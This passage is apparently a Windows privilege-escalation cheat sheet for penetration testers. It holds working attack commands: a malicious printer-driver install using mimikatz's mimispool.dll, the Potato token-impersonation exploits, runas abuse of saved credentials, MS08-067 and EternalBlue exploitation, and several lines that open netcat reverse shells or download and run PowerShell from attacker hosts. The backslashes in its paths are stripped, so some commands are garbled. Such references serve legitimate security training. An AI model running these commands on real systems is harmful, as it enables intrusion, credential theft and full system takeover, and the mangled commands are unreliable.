Copy-Item -Force -Path ($system32 + 'mscms.dll')             -Destination ($system32 + 'mimispool.dll')
Copy-Item -Force -Path '.mimikatz_trunkx64mimispool.dll'   -Destination ($drivers  + 'x643mimispool.dll')
Copy-Item -Force -Path '.mimikatz_trunkwin32mimispool.dll' -Destination ($drivers  + 'W32X863mimispool.dll')
 
Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
 
New-Item         -Path ($RegStartPrinter + 'CopyFiles')        | Out-Null
New-Item         -Path ($RegStartPrinter + 'CopyFilesKiwi')   | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x643'           | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesKiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + 'CopyFilesLitchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X863'        | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesLitchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + 'CopyFilesMango')  | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + 'CopyFilesMango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null

Execute the driver

$serverName  = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\' + $serverName + '' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName

Bring Your Own Vulnerability

Concealed Position : https://github.com/jacob-baines/concealed_position

• ACIDDAMAGE — CVE-2021-35449 — Lexmark Universal Print Driver LPE
• RADIANTDAMAGE — CVE-2021-38085 — Canon TR150 Print Driver LPE
• POISONDAMAGE — CVE-2019-19363 — Ricoh PCL6 Print Driver LPE
• SLASHINGDAMAGE — CVE-2020-1300 — Windows Print Spooler LPE

cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE

EoP — Runas

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUPAdministrator
 Type: Domain Password
 User: WORKGROUPAdministrator

Then you can use runas with the /savecred options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUPAdministrator "\10.XXX.XXX.XXXSHAREevil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"

Using runas with a provided set of credential.

C:WindowsSystem32runas.exe /env /noprofile /user:<username> <password> "c:usersPublicnc.exe -nc <attacker-ip> 4444 -e cmd.exe"

$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:userspublicnc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

EoP — Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it’s an easy way for Privilege Escalation.

# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
# List shadow copies using diskshadow
diskshadow list shadows all
  
# Make a symlink to the shadow copy and access it
mklink /d c:shadowcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1

EoP — From local administrator to NT SYSTEM

EoP — Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

• Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
  Have extra «unexpected» functionality. It is not interesting to document intended use cases.
  Exceptions are application whitelisting bypasses
• Have functionality that would be useful to an APT or red team

wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml

EoP — Impersonation Privileges

Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

Restore A Service Account’s Privileges

This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

# https://github.com/itm4n/FullPowers

c:TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:WINDOWSsystem32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z

Meterpreter getsystem and alternatives

meterpreter> getsystem 
Tokenvator.exe getsystem cmd.exe 
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe 
psexec -s -i cmd.exe 
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc

RottenPotato (Token Impersonation)

• Binary available at : https://github.com/foxglovesec/RottenPotato
• Binary available at : https://github.com/breenmachine/RottenPotatoNG

getuid
getprivs
use incognito
list_tokens -u
cd c:temp
execute -Hc -f ./rot.exe
impersonate_token "NT AUTHORITYSYSTEM"

Invoke-TokenManipulation -ImpersonateUser -Username "labdomainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITYSYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');"};"

Juicy Potato (Abusing the golden privileges)

If the machine is >= Windows 10 1809 & Windows Server 2019 — Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 — Try Juicy Potato

• Binary available at : https://github.com/ohpe/juicy-potato/releases

1. Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)

2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object

   • Windows 7 Enterprise
   • Windows 8.1 Enterprise
   • Windows 10 Enterprise
   • Windows 10 Professional
   • Windows Server 2008 R2 Enterprise
   • Windows Server 2012 Datacenter
   • Windows Server 2016 Standard

3. Execute JuicyPotato to run a privileged command.

   JuicyPotato.exe -l 9999 -p c:interpubwwwrootuploadnc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
   JuicyPotato.exe -l 1340 -p C:usersUserrev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
   JuicyPotato.exe -l 1337 -p c:WindowsSystem32cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:usersUserreverse_shell.exe"
       Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
       ......
       [+] authresult 0
       {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITYSYSTEM
       [+] CreateProcessWithTokenW OK

Rogue Potato (Fake OXID Resolver)

• Binary available at https://github.com/antonioCoco/RoguePotato

# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. 
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:windowssystem32cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:windowssystem32cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:windowssystem32cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode

EFSPotato (MS-EFSR EfsRpcOpenFileRaw)

• Binary available at https://github.com/zcgonvh/EfsPotato

# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:WindowsMicrosoft.NetFrameworkV3.5csc.exe EfsPotato.cs
C:WindowsMicrosoft.NetFrameworkV3.5csc.exe /platform:x86 EfsPotato.cs

EoP — Privileged File Write

DiagHub

⚠️ Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM.
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:WindowsSystem32 directory.

Exploit

1. Create an evil DLL e.g: payload.dll and move it into C:WindowsSystem32
2. Build https://github.com/xct/diaghub
3. diaghub.exe c:\ProgramData\ payload.dll

The default payload will run C:WindowsSystem32spooldriverscolornc.exe -lvp 2000 -e cmd.exe

Alternative tools:

• https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
• https://github.com/decoder-it/diaghub_exploit

UsoDLLLoader

⚠️ 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

An alternative to the DiagHub DLL loading «exploit» found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll into C:WindowsSytem32 and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITYSystem.

Exploit

1. Build https://github.com/itm4n/UsoDllLoader
   • Select Release config and x64 architecure.
   • Build solution.
     • DLL .x64ReleaseWindowsCoreDeviceInfo.dll
     • Loader .x64ReleaseUsoDllLoader.exe.
2. Copy WindowsCoreDeviceInfo.dll to C:WindowsSystem32
3. Use the loader and wait for the shell or run usoclient StartInteractiveScan and connect to the bind shell on port 1337.

WerTrigger

Weaponizing for privileged file writes bugs with Windows problem reporting

1. Clone https://github.com/sailay1996/WerTrigger
2. Copy phoneinfo.dll to C:WindowsSystem32
3. Place Report.wer file and WerTrigger.exe in a same directory.
4. Then, run WerTrigger.exe.
5. Enjoy a shell as NT AUTHORITYSYSTEM

EoP — Common Vulnerabilities and Exposure

MS08-067 (NetAPI)

Check the vulnerability with the following nmap script.

nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>

Metasploit modules to exploit MS08-067 NetAPI.

exploit/windows/smb/ms08_067_netapi

If you can’t use Metasploit and only want a reverse shell.

https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "x00x0ax0dx5cx5fx2fx2ex40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445

MS10-015 (KiTrap0D) — Microsoft Windows NT/2000/2003/2008/XP/Vista/7

‘KiTrap0D’ User Mode to Ring Escalation (MS10-015)

https://www.exploit-db.com/exploits/11199

Metasploit : exploit/windows/local/ms10_015_kitrap0d

MS11-080 (afd.sys) — Microsoft Windows XP/2003

Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf

MS15-051 (Client Copy Image) — Microsoft Windows 2003/2008/7/8/2012

printf("[#] usage: ms15-051 command n");
printf("[#] eg: ms15-051 "whoami /all" n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe

# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image

MS16-032 — Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : wmic qfe list | findstr "3139914"

Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc

MS17-010 (Eternal Blue)

Check the vulnerability with the following nmap script.

nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>

Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion.

auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

If you can’t use Metasploit and only want a reverse shell.

git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe

CVE-2019-1388

Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html

Requirement:

• Windows 7
• Windows 10 LTSC 10240

Failing on :

• LTSC 2019
• 1709
• 1803

Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

References

• Windows Internals Book — 02/07/2017
• icacls — Docs Microsoft
• Privilege Escalation Windows — Philip Linghammar
• Windows elevation of privileges — Guifre Ruiz
• The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
• Basic Linux Privilege Escalation
• Windows Privilege Escalation Fundamentals
• TOP–10 ways to boost your privileges in Windows systems — hackmag
• The SYSTEM Challenge
• Windows Privilege Escalation Guide — absolomb’s security blog
• Chapter 4 — Windows Post-Exploitation — 2 Nov 2017 — dostoevskylabs
• Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability — September 18th, 2016 — Robert Russell
• Pentestlab.blog — WPE-01 — Stored Credentials
• Pentestlab.blog — WPE-02 — Windows Kernel
• Pentestlab.blog — WPE-03 — DLL Injection
• Pentestlab.blog — WPE-04 — Weak Service Permissions
• Pentestlab.blog — WPE-05 — DLL Hijacking
• Pentestlab.blog — WPE-06 — Hot Potato
• Pentestlab.blog — WPE-07 — Group Policy Preferences
• Pentestlab.blog — WPE-08 — Unquoted Service Path
• Pentestlab.blog — WPE-09 — Always Install Elevated
• Pentestlab.blog — WPE-10 — Token Manipulation
• Pentestlab.blog — WPE-11 — Secondary Logon Handle
• Pentestlab.blog — WPE-12 — Insecure Registry Permissions
• Pentestlab.blog — WPE-13 — Intel SYSRET
• Alternative methods of becoming SYSTEM — 20th November 2017 — Adam Chester @xpn
• Living Off The Land Binaries and Scripts (and now also Libraries)
• Common Windows Misconfiguration: Services — 2018-09-23 — @am0nsec
• Local Privilege Escalation Workshop — Slides.pdf — @sagishahar
• Abusing Diaghub — xct — March 07, 2019
• Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege — James Forshaw, Project Zero — Wednesday, April 18, 2018
• Weaponizing Privileged File Writes with the USO Service — Part 2/2 — itm4n — August 19, 2019
• Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows
• Abusing SeLoadDriverPrivilege for privilege escalation — 14 — JUN — 2018 — OSCAR MALLO
• Universal Privilege Escalation and Persistence – Printer — AUGUST 2, 2021)